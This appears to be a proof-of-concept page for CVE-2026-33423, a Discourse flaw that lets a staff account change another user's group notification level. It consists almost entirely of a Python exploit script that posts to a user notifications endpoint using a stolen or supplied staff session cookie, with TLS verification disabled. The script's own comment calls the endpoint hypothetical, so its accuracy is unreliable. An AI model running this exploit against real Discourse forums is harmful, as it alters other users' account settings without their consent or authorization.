CVE-2026-33423 Discourse越权修改组通知漏洞

# Proof of Concept for CVE-2026-33423 # Description: Demonstrates how a staff user can modify another user's group notification level. import requests def exploit_notification_level(target_domain, target_user_id, staff_session_token, new_level): """ Attempts to change the group notification level of a target user. :param target_domain: The URL of the target Discourse instance (e.g., https://example.com) :param target_user_id: The ID or username of the victim :param staff_session_token: Session cookie of the attacker (Staff account) :param new_level: The desired notification level (integer) """ headers = { "Cookie": f"_forum_session={staff_session_token}", "Content-Type": "application/x-www-form-urlencoded", "X-Requested-With": "XMLHttpRequest" } # Hypothetical endpoint based on Discourse API structure for user preferences url = f"{target_domain}/u/{target_user_id}/notifications" payload = { "notification_level": new_level } try: response = requests.post(url, headers=headers, data=payload, verify=False) if response.status_code == 200: print(f"[+] Successfully modified notification level for user {target_user_id} to {new_level}.") else: print(f"[-] Failed. Status Code: {response.status_code}, Response: {response.text}") except Exception as e: print(f"[!] Error: {e}") if __name__ == "__main__": # Configuration TARGET = "https://target-discourse.com" VICTIM_ID = "100" # ID of the user to target ATTACKER_SESSION = "valid_staff_session_cookie_here" NEW_NOTIFICATION_LEVEL = 3 # Example level exploit_notification_level(TARGET, VICTIM_ID, ATTACKER_SESSION, NEW_NOTIFICATION_LEVEL)